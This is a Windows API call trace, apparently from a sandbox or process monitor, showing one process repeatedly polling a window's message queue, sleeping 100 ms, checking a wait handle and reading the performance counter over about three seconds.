[0141.935] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.936] Sleep (dwMilliseconds=0x64) [0141.950] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.950] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748665497) returned 1 [0141.950] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748665666) returned 1 [0141.950] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.951] Sleep (dwMilliseconds=0x64) [0141.965] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748718807) returned 1 [0141.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748719036) returned 1 [0141.966] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.967] Sleep (dwMilliseconds=0x64) [0141.981] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748771949) returned 1 [0141.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748772118) returned 1 [0141.982] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.982] Sleep (dwMilliseconds=0x64) [0141.997] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0141.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748825371) returned 1 [0141.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748825571) returned 1 [0141.997] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0141.998] Sleep (dwMilliseconds=0x64) [0142.013] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748881917) returned 1 [0142.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748882093) returned 1 [0142.014] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.014] Sleep (dwMilliseconds=0x64) [0142.028] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748931976) returned 1 [0142.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748932145) returned 1 [0142.028] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.029] Sleep (dwMilliseconds=0x64) [0142.044] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.044] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=748987274) returned 1 [0142.044] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=748987473) returned 1 [0142.045] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.045] Sleep (dwMilliseconds=0x64) [0142.059] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.059] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749038724) returned 1 [0142.059] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749039035) returned 1 [0142.060] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.060] Sleep (dwMilliseconds=0x64) [0142.075] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.075] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749094653) returned 1 [0142.076] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749094833) returned 1 [0142.076] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.077] Sleep (dwMilliseconds=0x64) [0142.090] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749145014) returned 1 [0142.090] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749145193) returned 1 [0142.091] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.091] Sleep (dwMilliseconds=0x64) [0142.106] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749198196) returned 1 [0142.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749198357) returned 1 [0142.106] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.107] Sleep (dwMilliseconds=0x64) [0142.122] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749253086) returned 1 [0142.122] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749253256) returned 1 [0142.122] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.123] Sleep (dwMilliseconds=0x64) [0142.137] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.137] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749305421) returned 1 [0142.137] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749305590) returned 1 [0142.138] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.138] Sleep (dwMilliseconds=0x64) [0142.153] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.153] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749360424) returned 1 [0142.153] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749360595) returned 1 [0142.154] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.154] Sleep (dwMilliseconds=0x64) [0142.169] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749414199) returned 1 [0142.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749414369) returned 1 [0142.170] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.170] Sleep (dwMilliseconds=0x64) [0142.184] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.184] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749465556) returned 1 [0142.184] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749465725) returned 1 [0142.185] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.185] Sleep (dwMilliseconds=0x64) [0142.200] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.200] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749518822) returned 1 [0142.200] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749518982) returned 1 [0142.200] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.201] Sleep (dwMilliseconds=0x64) [0142.215] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.215] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749572438) returned 1 [0142.215] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749572613) returned 1 [0142.216] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.216] Sleep (dwMilliseconds=0x64) [0142.231] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749625191) returned 1 [0142.231] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749625389) returned 1 [0142.231] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.232] Sleep (dwMilliseconds=0x64) [0142.246] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.246] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749678490) returned 1 [0142.246] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749678688) returned 1 [0142.247] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.247] Sleep (dwMilliseconds=0x64) [0142.262] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749734081) returned 1 [0142.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749734262) returned 1 [0142.263] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.264] Sleep (dwMilliseconds=0x64) [0142.277] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.277] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749785022) returned 1 [0142.278] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749785190) returned 1 [0142.278] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.279] Sleep (dwMilliseconds=0x64) [0142.293] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749838462) returned 1 [0142.293] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749838631) returned 1 [0142.294] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.294] Sleep (dwMilliseconds=0x64) [0142.309] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.309] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749891618) returned 1 [0142.309] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749891789) returned 1 [0142.309] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.310] Sleep (dwMilliseconds=0x64) [0142.324] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749945320) returned 1 [0142.324] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749945517) returned 1 [0142.325] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.325] Sleep (dwMilliseconds=0x64) [0142.340] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=749998378) returned 1 [0142.340] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=749998540) returned 1 [0142.340] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.341] Sleep (dwMilliseconds=0x64) [0142.357] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.357] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750056192) returned 1 [0142.357] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750056390) returned 1 [0142.357] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.358] Sleep (dwMilliseconds=0x64) [0142.372] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750107258) returned 1 [0142.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750107447) returned 1 [0142.372] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.373] Sleep (dwMilliseconds=0x64) [0142.387] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.387] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750158693) returned 1 [0142.387] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750158872) returned 1 [0142.387] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.388] Sleep (dwMilliseconds=0x64) [0142.402] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750211666) returned 1 [0142.402] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750211864) returned 1 [0142.403] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.403] Sleep (dwMilliseconds=0x64) [0142.418] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.418] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750265020) returned 1 [0142.418] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750265220) returned 1 [0142.419] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.419] Sleep (dwMilliseconds=0x64) [0142.436] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750328209) returned 1 [0142.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750328394) returned 1 [0142.437] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.438] Sleep (dwMilliseconds=0x64) [0142.449] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.449] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750371819) returned 1 [0142.449] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750372002) returned 1 [0142.450] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.450] Sleep (dwMilliseconds=0x64) [0142.465] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.465] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750424870) returned 1 [0142.465] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750425054) returned 1 [0142.465] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.466] Sleep (dwMilliseconds=0x64) [0142.495] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750529759) returned 1 [0142.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750529958) returned 1 [0142.496] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.497] Sleep (dwMilliseconds=0x64) [0142.511] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750585143) returned 1 [0142.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750585325) returned 1 [0142.512] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.513] Sleep (dwMilliseconds=0x64) [0142.527] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750638174) returned 1 [0142.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750638356) returned 1 [0142.528] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.528] Sleep (dwMilliseconds=0x64) [0142.543] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750691589) returned 1 [0142.543] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750691788) returned 1 [0142.543] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.544] Sleep (dwMilliseconds=0x64) [0142.558] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.558] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750744824) returned 1 [0142.558] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750745006) returned 1 [0142.559] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.559] Sleep (dwMilliseconds=0x64) [0142.574] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.574] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750798594) returned 1 [0142.574] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750798776) returned 1 [0142.575] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.575] Sleep (dwMilliseconds=0x64) [0142.589] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750851503) returned 1 [0142.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750851672) returned 1 [0142.590] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.591] Sleep (dwMilliseconds=0x64) [0142.606] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750909120) returned 1 [0142.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750909292) returned 1 [0142.607] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.607] Sleep (dwMilliseconds=0x64) [0142.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=750965550) returned 1 [0142.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=750965750) returned 1 [0142.624] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.624] Sleep (dwMilliseconds=0x64) [0142.636] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.636] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751011809) returned 1 [0142.636] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751012012) returned 1 [0142.637] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.638] Sleep (dwMilliseconds=0x64) [0142.672] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.672] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751133534) returned 1 [0142.672] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751133720) returned 1 [0142.673] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.674] Sleep (dwMilliseconds=0x64) [0142.683] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.683] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751171472) returned 1 [0142.683] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751171656) returned 1 [0142.684] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.684] Sleep (dwMilliseconds=0x64) [0142.699] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.699] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751225081) returned 1 [0142.699] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751225264) returned 1 [0142.699] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.700] Sleep (dwMilliseconds=0x64) [0142.715] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751280427) returned 1 [0142.715] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751280612) returned 1 [0142.716] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.716] Sleep (dwMilliseconds=0x64) [0142.730] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751331381) returned 1 [0142.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751331612) returned 1 [0142.731] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0142.731] Sleep (dwMilliseconds=0x64) [0142.745] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0142.746] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=751384810) returned 1 [0142.746] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=751385005) returned 1 